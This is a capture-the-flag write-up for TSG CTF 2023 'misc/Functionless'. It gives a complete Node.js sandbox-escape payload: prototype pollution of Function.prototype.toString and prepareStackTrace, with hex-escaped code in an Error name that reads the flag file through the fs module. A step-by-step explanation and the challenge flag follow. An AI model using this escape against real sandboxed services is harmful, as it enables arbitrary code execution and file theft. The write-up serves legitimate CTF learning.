# TSG CTF 2023 - misc/Functionless
- 5 solves / 365 pts- Author: n4o847
My solution:
```javascript$ nc 34.84.217.62 30002Welcome! Please input an expression.> globalThis.constructor.constructor.prototype.toString = globalThis.constructor.constructor.prototype.call; Error.stackTraceLimit = 0; globalThis.constructor.prototype.prepareStackTrace = globalThis.constructor.constructor; const err = new Error; err.name = "x = \x28\x28\x29 => { const fs = process.mainModule.require\x28'fs'\x29; const filename = fs.readdirSync\x28'./'\x29.find\x28name => name.startsWith\x28'flag-'\x29\x29; console.log\x28fs.readFileSync\x28filename\x29.toString\x28\x29\x29 }\x29\x28\x29"; errTSGCTF{i_like_functional_programming_how_about_you}
[undefined] {  name: "x = (() => { const fs = process.mainModule.require('fs'); const filename = fs.readdirSync('./').find(name => name.startsWith('flag-')); console.log(fs.readFileSync(filename).toString()) })()"}```
## Steps
### Step 1
```javascriptglobalThis.constructor.constructor.prototype.toString = globalThis.constructor.constructor.prototype.call;```This means `Function.prototype.toString = Function.prototype.call` where the `Function` is a host object.
By this prototype pollution, functions will be called when they are converted to primitive values.
### Step 2
```javascriptError.stackTraceLimit = 0;globalThis.constructor.prototype.prepareStackTrace = globalThis.constructor.constructor;```This pollutes `prepareStackTrace` to a constructor `Function`.
- `prepareStackTrace`: https://github.com/nodejs/node/blob/v20.9.0/lib/internal/errors.js#L140-L141- Stack trace API: https://v8.dev/docs/stack-trace-api
`Error.stackTraceLimit = 0;` changes the second argument `trace` of `prepareStackTrace` to an empty array.
### Step 3
```javascriptconst err = new Error;err.name = "x = \x28\x28\x29 => { const fs = process.mainModule.require\x28'fs'\x29; const filename = fs.readdirSync\x28'./'\x29.find\x28name => name.startsWith\x28'flag-'\x29\x29; console.log\x28fs.readFileSync\x28filename\x29.toString\x28\x29\x29 }\x29\x28\x29";err```
When `console.log(err)` is executed, `Function(err, []).call()` will be executed and it will show a flag!
## Flag
```TSGCTF{i_like_functional_programming_how_about_you}```